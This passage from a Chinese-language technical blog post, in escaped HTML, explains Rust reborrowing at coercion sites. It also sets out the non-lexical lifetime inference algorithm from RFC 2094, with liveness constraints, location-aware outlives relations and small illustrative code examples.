&lt;li&gt;初始化时不属于coercion site，故&lt;code&gt;u&lt;&#x2F;code&gt;会被move&lt;&#x2F;li&gt;
&lt;li&gt;随后的每次赋值，都属于coercion site，故&lt;code&gt;v&lt;&#x2F;code&gt;会被reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;x.0 = u&lt;&#x2F;code&gt;, &lt;code&gt;x.field_0 = u&lt;&#x2F;code&gt;, &lt;code&gt;x[0] = u&lt;&#x2F;code&gt;: &lt;code&gt;u&lt;&#x2F;code&gt;均会被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;无论LHS是什么，我们总能确定LHS的类型，因此总会进行coercion，于是总是会进行reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;由上述论述可知，reborrow和coercion密切相关，凡属于coercion site的都会发生reborrow：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;struct、enum的初始化，若发生&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;的coercion，则会发生reborrow&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数调用，若发生实参&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到形参&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;的coercion，则会发生reborrow&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数返回值，若发生返回值&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;的coercion，则会发生reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;fn f(x: &amp;amp;mut i32) -&amp;gt; &amp;amp;i32 {x}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;这里&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;到&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;的coercion没有意义，因为返回总是需要经历「move out」的过程&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里generic的struct、enum和函数，也会遇到和&lt;code&gt;let&lt;&#x2F;code&gt;语句类似的情况：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;考虑函数&lt;code&gt;fn f&amp;lt;T, U&amp;gt;(x: T, y: U, z: T)&lt;&#x2F;code&gt;，设&lt;code&gt;x: &amp;amp;mut i32&lt;&#x2F;code&gt;, &lt;code&gt;y: &amp;amp;mut i32&lt;&#x2F;code&gt;, &lt;code&gt;z: &amp;amp;mut i32&lt;&#x2F;code&gt;，则在调用&lt;code&gt;f(x, y, z)&lt;&#x2F;code&gt;中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;x&lt;&#x2F;code&gt;和&lt;code&gt;y&lt;&#x2F;code&gt;被move&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为此时尚不知道&lt;code&gt;T&lt;&#x2F;code&gt;和&lt;code&gt;U&lt;&#x2F;code&gt;的类型，要先进行类型推导，这就相当于&lt;code&gt;let t = x; let u = y;&lt;&#x2F;code&gt;，不会发生coercion&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;z&lt;&#x2F;code&gt;被reborrow&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此时已经确定了&lt;code&gt;T&lt;&#x2F;code&gt;的类型，相当于&lt;code&gt;let a: &amp;amp;mut i32 = z;&lt;&#x2F;code&gt;，因此会发生coercion&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;再考虑&lt;code&gt;struct Struct&amp;lt;T&amp;gt;{ s: T, t: T }&lt;&#x2F;code&gt;，设&lt;code&gt;x: &amp;amp;mut i32&lt;&#x2F;code&gt;, &lt;code&gt;y: &amp;amp;mut i32&lt;&#x2F;code&gt;，则&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let a = Struct{ s: x, t: y }&lt;&#x2F;code&gt;中&lt;code&gt;x&lt;&#x2F;code&gt;被move，而&lt;code&gt;y&lt;&#x2F;code&gt;被reborrow&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let a = Struct{ t: y, s: x }&lt;&#x2F;code&gt;中&lt;code&gt;y&lt;&#x2F;code&gt;被move，而&lt;code&gt;x&lt;&#x2F;code&gt;被reborrow&lt;&#x2F;li&gt;
&lt;li&gt;这说明类型推导的顺序不是按照struct中声明的顺序，而是实际初始化时的使用顺序，最先用于推导的变量不会被reborrow&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;lifetime-part-v-non-lexical-lifetime&quot;&gt;Lifetime Part V. Non-Lexical Lifetime&lt;&#x2F;h2&gt;
&lt;p&gt;在1.30版本及以前，引用的lifetime必须从其borrow时延续到scope末尾，从1.31版本起引入了Non-Lexical Lifetime (NLL)，从而使得lifetime可以是Non-Lexical的。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，NLL带来的更大的改变是将&lt;code&gt;&#x27;a: &#x27;b&lt;&#x2F;code&gt;的outlive关系改为了location-aware的，我们来看一个例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut u = 0i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut v = 1i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut w = 2i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; lifetime of &lt;&#x2F;code&gt;a&lt;code&gt; = α ∪ β ∪ γ&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut a = &amp;amp;mut u;     &#x2F;&#x2F; --+ α. lifetime of &lt;&#x2F;code&gt;&amp;amp;mut u&lt;code&gt; --+ lexical &quot;lifetime&quot; of&lt;&#x2F;code&gt;&amp;amp;mut u&lt;code&gt;,&lt;&#x2F;code&gt;&amp;amp;mut u&lt;code&gt;, &lt;&#x2F;code&gt;&amp;amp;mut w&lt;code&gt;and&lt;&#x2F;code&gt;a``&lt;br &#x2F;&gt;&lt;code&gt;use(a);                 &#x2F;&#x2F;   |                            |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a = 3; &#x2F;&#x2F; &amp;lt;-----------------+                            |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...                     &#x2F;&#x2F;                                |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;a = &amp;amp;mut v;             &#x2F;&#x2F; --+ β. lifetime of &lt;&#x2F;code&gt;&amp;amp;mut v&lt;code&gt;    |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a);                 &#x2F;&#x2F;   |                            |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a = 4; &#x2F;&#x2F; &amp;lt;-----------------+                            |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...                     &#x2F;&#x2F;                                |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;a = &amp;amp;mut w;             &#x2F;&#x2F; --+ γ. lifetime of &lt;&#x2F;code&gt;&amp;amp;mut w&lt;code&gt;    |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a);                 &#x2F;&#x2F;   |                            |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;*a = 5; &#x2F;&#x2F; &amp;lt;-----------------+ &amp;lt;--------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在传统的lexical lifetime模型中，&lt;code&gt;&amp;amp;mut u&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut v&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut w&lt;&#x2F;code&gt;以及&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime都相同，从&lt;code&gt;let mut a = &amp;amp;mut u;&lt;&#x2F;code&gt;这一句一直延续到&lt;code&gt;*a = 5;&lt;&#x2F;code&gt;。但是在NLL中，&lt;code&gt;&amp;amp;mut u&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;α&lt;&#x2F;code&gt;，&lt;code&gt;&amp;amp;mut v&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;β&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut v&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;γ&lt;&#x2F;code&gt;，而&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;α ∪ β ∪ γ&lt;&#x2F;code&gt;（不连续）。显然，NLL中的outlive关系不再是简单的集合包含关系，否则根据subtyping rule，&lt;code&gt;&amp;amp;mut u&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut v&lt;&#x2F;code&gt;、&lt;code&gt;&amp;amp;mut w&lt;&#x2F;code&gt;的lifetime应该包含&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;而不是反过来被包含于&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;实际上NLL下的lifetime是更为合理的，因为本质上说，一个rvalue引用&lt;code&gt;&amp;amp;&#x27;r lvalue&lt;&#x2F;code&gt;的lifetime&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;，和一个lvalue引用&lt;code&gt;x.y.z&lt;&#x2F;code&gt;的lifetime&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;从概念上讲是不同的。假设&lt;code&gt;x.y.z&lt;&#x2F;code&gt;是mutable的，那么在&lt;code&gt;x.y.z&lt;&#x2F;code&gt;的整个生命周期中，它可能被赋值若干次，每次赋值的RHS都有一个lifetime&lt;code&gt;&#x27;ri&lt;&#x2F;code&gt;，总的来说其lifetime就应该是所有这些lifetime的并&lt;code&gt;∪&#x27;ri&lt;&#x2F;code&gt;。而对于作为rvalue的引用，其lifetime就应该单纯是该引用有效的范围。NLL对此能作出区分，而lexical lifetime则会将rvalue引用的lifetime扩大到与lvalue引用的lifetime相等。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;rust-lang.github.io&#x2F;rfcs&#x2F;2094-nll.html&quot;&gt;RFC 2094&lt;&#x2F;a&gt;中详细介绍了NLL的机制，对lifetime的推导算法给出了详细描述，现介绍如下，了解NLL的细节有助于我们深入理解Rust中lifetime和borrow check的本质。&lt;&#x2F;p&gt;
&lt;p&gt;根据Nicholas D. Matsakis的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;smallcultfollowing.com&#x2F;babysteps&#x2F;blog&#x2F;2018&#x2F;06&#x2F;15&#x2F;mir-based-borrow-check-nll-status-update&#x2F;&quot;&gt;这篇博客&lt;&#x2F;a&gt;，由于性能上的考虑，NLL似乎并没有实现RFC 2094中的全部内容（对Named Lifetime的处理没有实现，因此我们也不介绍这一点）。目前Rust团队正在推进Polonius项目[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;polonius&quot;&gt;1]&lt;&#x2F;a&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;smallcultfollowing.com&#x2F;babysteps&#x2F;blog&#x2F;2018&#x2F;04&#x2F;27&#x2F;an-alias-based-formulation-of-the-borrow-checker&#x2F;&quot;&gt;2]&lt;&#x2F;a&gt;，它将作为NLL 2.0，最终取代现在的NLL。Polonius将会解决RFC 2094试图解决的所有问题，并能解决更多borrow check问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;basic-algorithm&quot;&gt;Basic Algorithm&lt;&#x2F;h3&gt;
&lt;p&gt;首先，在NLL中borrow check被推迟到了产生MIR (Mid-Level Intermediate Representation)后进行，而MIR在编译器中是以CFG而不是AST的形式表示的，我们所有的概念都可以定义到CFG上，这远远比基于AST的lexical lifetime灵活得多。MIR语句大致是Three Address Code的格式，每一句只对应于Rust源码中的一步操作，此外在MIR中还显式编码了Rust源码中隐式蕴含的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;StorageDead(x)&lt;&#x2F;code&gt;表示栈变量&lt;code&gt;x&lt;&#x2F;code&gt;已经离开其作用域，其占据的stack slot可以被回收利用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;drop(x)&lt;&#x2F;code&gt;表示调用&lt;code&gt;x&lt;&#x2F;code&gt;的析构函数进行析构&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们首先引入&lt;em&gt;point&lt;&#x2F;em&gt;的概念，若将每一句MIR语句视为CFG中的一个节点，则每个节点的进入端称为&lt;em&gt;point&lt;&#x2F;em&gt;，表示该语句尚未执行而它之前的语句已经执行的时刻。&lt;&#x2F;p&gt;
&lt;p&gt;借此可以严格定义&lt;em&gt;lifetime&lt;&#x2F;em&gt;如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义1：&lt;&#x2F;strong&gt; &lt;em&gt;lifetime&lt;&#x2F;em&gt;是CFG中的一系列point的集合。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;lifetime中的point不必是连续的&lt;&#x2F;li&gt;
&lt;li&gt;变量（包括临时变量）的类型中可以包含lifetime，此外每个borrow操作都会附带一个lifetime&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Lifetime可能可以有多种合法的取值，Rust的lifetime inference算法会取其最小的合法值。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们回顾一下编译器中的liveness analysis，它用于分析变量的&lt;em&gt;liveness&lt;&#x2F;em&gt;，当变量的值还会被再次用到时它是&lt;em&gt;live&lt;&#x2F;em&gt;的，否则它就是&lt;em&gt;dead&lt;&#x2F;em&gt;的。这里的重点在于，从变量的当前值最后一次被使用，到变量被再次赋值之间，变量处于&lt;em&gt;dead&lt;&#x2F;em&gt;状态，即使该变量之后还会被使用。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们将liveness推广到lifetime上：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义2：&lt;&#x2F;strong&gt;  我们说lifetime&lt;code&gt;L&lt;&#x2F;code&gt;在point&lt;code&gt;P&lt;&#x2F;code&gt;是&lt;em&gt;live&lt;&#x2F;em&gt;的，若：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;存在某变量&lt;code&gt;p&lt;&#x2F;code&gt;在&lt;code&gt;P&lt;&#x2F;code&gt;是live的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;L&lt;&#x2F;code&gt;出现在&lt;code&gt;p&lt;&#x2F;code&gt;的类型中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;有了这个概念，我们就可以引入lifetime inference算法的第一条约束：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;约束1：&lt;&#x2F;strong&gt;  若&lt;code&gt;L&lt;&#x2F;code&gt;在&lt;code&gt;P&lt;&#x2F;code&gt;是live的，则&lt;code&gt;P ∈ L&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这条规则使lifetime中间可以有空洞，不必连续，因此我们可以编写如下代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let mut x = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let mut a = &amp;amp;x;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is dead&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let u = &amp;amp;mut x;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is dead&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let a = &amp;amp;1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &lt;&#x2F;code&gt;a&lt;code&gt; is live&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;由于&lt;code&gt;a&lt;&#x2F;code&gt;在&lt;code&gt;let u = &amp;amp;mut x;&lt;&#x2F;code&gt;这一行已经处于&lt;em&gt;dead&lt;&#x2F;em&gt;状态，故&lt;code&gt;a&lt;&#x2F;code&gt;的lifetime不必包含该行，从而我们可以取&lt;code&gt;x&lt;&#x2F;code&gt;的mutable reference。&lt;&#x2F;p&gt;
&lt;p&gt;接下来，我们将outlive和subtype的关系推广为location-aware的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义3：&lt;&#x2F;strong&gt;&lt;code&gt;(L1: L2) @ P&lt;&#x2F;code&gt;表示&lt;code&gt;L1&lt;&#x2F;code&gt;必须包含&lt;code&gt;L2&lt;&#x2F;code&gt;的子集&lt;code&gt;L2&#x27;&lt;&#x2F;code&gt;，该子集由所有满足&lt;code&gt;Q&lt;&#x2F;code&gt;从&lt;code&gt;P&lt;&#x2F;code&gt;出发可达（这也包括了&lt;code&gt;P&lt;&#x2F;code&gt;本身），且路径上的所有point都属于&lt;code&gt;L2&lt;&#x2F;code&gt;的point&lt;code&gt;Q&lt;&#x2F;code&gt;构成。&lt;&#x2F;p&gt;
&lt;p&gt;由location-aware的outlive关系经过subtyping rule推导得到的，自然就是location-aware的subtype关系了。当然，由于Higher-Rank Type的subtyping rule不涉及lifetime，这类subtype关系自然就应该在任意location&lt;code&gt;P&lt;&#x2F;code&gt;都成立。&lt;&#x2F;p&gt;
&lt;p&gt;根据subtype关系，我们可以引入lifetime inference算法的第二条约束：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;约束2：&lt;&#x2F;strong&gt;  根据MIR代码，我们可以推理出一系列的&lt;code&gt;(T1 &amp;lt;: T2) @ P&lt;&#x2F;code&gt;约束关系，其中每一条又可以推出零到若干个&lt;code&gt;(L1: L2) @ P&lt;&#x2F;code&gt;的约束关系&lt;&#x2F;p&gt;
&lt;p&gt;考虑下面这个例子，其中&lt;code&gt;a: &amp;amp;&#x27;a T&lt;&#x2F;code&gt;、&lt;code&gt;b: T&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;&#x2F; P0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let a = &amp;amp;&#x27;b b;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; P1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; Pn&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(a);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;从中可以得到的约束是&lt;code&gt;(&amp;amp;&#x27;a T &amp;lt;: &amp;amp;&#x27;b T) @ P1&lt;&#x2F;code&gt;，从而有&lt;code&gt;(&#x27;a : &#x27;b) @ P1&lt;&#x2F;code&gt;。也就是说，一条赋值语句蕴含的subtyping约束，应作用于该语句流出端的point，而不是进入端的point。我们也无需考虑整个函数的最后一条MIR语句的约束如何处理，因为最后一条语句一定是&lt;code&gt;return;&lt;&#x2F;code&gt;，不含任何约束。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们处理reborrow，为此先定义一些前置概念：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;定义4：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个lvalue的&lt;em&gt;prefix&lt;&#x2F;em&gt;，是指我们从该lvalue舍去最后若干步dereference、field access后得到的前缀访问，如&lt;code&gt;*a.b&lt;&#x2F;code&gt;的prefix包括&lt;code&gt;*a.b&lt;&#x2F;code&gt;、&lt;code&gt;a.b&lt;&#x2F;code&gt;和&lt;code&gt;a&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;一个lvalue的&lt;em&gt;supporting prefix&lt;&#x2F;em&gt;，是指我们在舍去最后若干步时，遇到shared reference即停止不允许再舍弃而得到的prefix子集（对shared reference的dereference不应舍去）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在可以引入lifetime inference算法的第三条约束：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;约束3：&lt;&#x2F;strong&gt;  考虑一个reborrow&lt;code&gt;r = &amp;amp;&#x27;b lv_b&lt;&#x2F;code&gt;或&lt;code&gt;r = &amp;amp;&#x27;b mut lv_b&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;设&lt;code&gt;lv_b&lt;&#x2F;code&gt;的supporting prefix为集合&lt;code&gt;B&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对所有&lt;code&gt;*lv ∈ B&lt;&#x2F;code&gt;，若&lt;code&gt;lv&lt;&#x2F;code&gt;的类型是lifetime为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;的reference，则引入约束&lt;code&gt;(&#x27;a : &#x27;b) @ P&lt;&#x2F;code&gt;，其中&lt;code&gt;P&lt;&#x2F;code&gt;为该语句流出端的point&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;求解lifetime首先需要进行一轮liveness analysis，这是一种backward dataflow analysis，需要通过反复迭代求不动点的方式获取变量的liveness。然后，我们从所有lifetime为空集出发，反复迭代，利用约束条件扩大lifetime，直到达到不动点。整个过程需要求解两次不动点。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reasoning&quot;&gt;Reasoning&lt;&#x2F;h3&gt;
&lt;p&gt;现在我们来解释为什么这个算法是正确的。首先，约束1是不言自明的，当一个变量有可能被用到时，其中含有的引用必须是有效的，因为它有可能还需要被解引用。&lt;&#x2F;p&gt;
&lt;p&gt;对于约束2，考虑一个lvalue&lt;code&gt;Π&lt;&#x2F;code&gt;，他在point&lt;code&gt;P&lt;&#x2F;code&gt;处被以lifetime&lt;code&gt;&#x27;L&lt;&#x2F;code&gt;borrow为&lt;code&gt;R&lt;&#x2F;code&gt;，即&lt;code&gt;R &amp;lt;- &amp;amp;&#x27;L Π @ P&lt;&#x2F;code&gt;，然后在point&lt;code&gt;Q&lt;&#x2F;code&gt;处被使用。在整个过程中，&lt;code&gt;R&lt;&#x2F;code&gt;最初被赋值给path&lt;code&gt;Π1&lt;&#x2F;code&gt;，而&lt;code&gt;Π1&lt;&#x2F;code&gt;可能被赋值给&lt;code&gt;Π2&lt;&#x2F;code&gt;，&lt;code&gt;Π2&lt;&#x2F;code&gt;又被赋值给&lt;code&gt;Π3&lt;&#x2F;code&gt;，如此辗转最后再&lt;code&gt;Q&lt;&#x2F;code&gt;处解引用&lt;code&gt;Πn&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;P: Π1 = &amp;amp;&#x27;L Π&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   Π2 = Π1      &#x2F;&#x2F; or Φ2 (containing Π2) = Φ1 (containing Π1)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Q: use(*Πn)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们应当确保&lt;code&gt;&#x27;L&lt;&#x2F;code&gt;能从&lt;code&gt;P&lt;&#x2F;code&gt;一路延续到&lt;code&gt;Q&lt;&#x2F;code&gt;处以保证解引用操作确实有效，而约束2恰好就保证了这一点。根据约束2，我们知道&lt;code&gt;Πn-1&lt;&#x2F;code&gt;的lifetime从&lt;code&gt;Πn = Πn-1&lt;&#x2F;code&gt;至少延续到&lt;code&gt;Q&lt;&#x2F;code&gt;，而由此又可推理出&lt;code&gt;Πn-2&lt;&#x2F;code&gt;的lifetime从&lt;code&gt;Πn-1 = Πn-2&lt;&#x2F;code&gt;至少延续到&lt;code&gt;Q&lt;&#x2F;code&gt;，依此类推，&lt;code&gt;&#x27;L&lt;&#x2F;code&gt;从&lt;code&gt;Π1 = &amp;amp;&#x27;L Π&lt;&#x2F;code&gt;至少延续到&lt;code&gt;Q&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
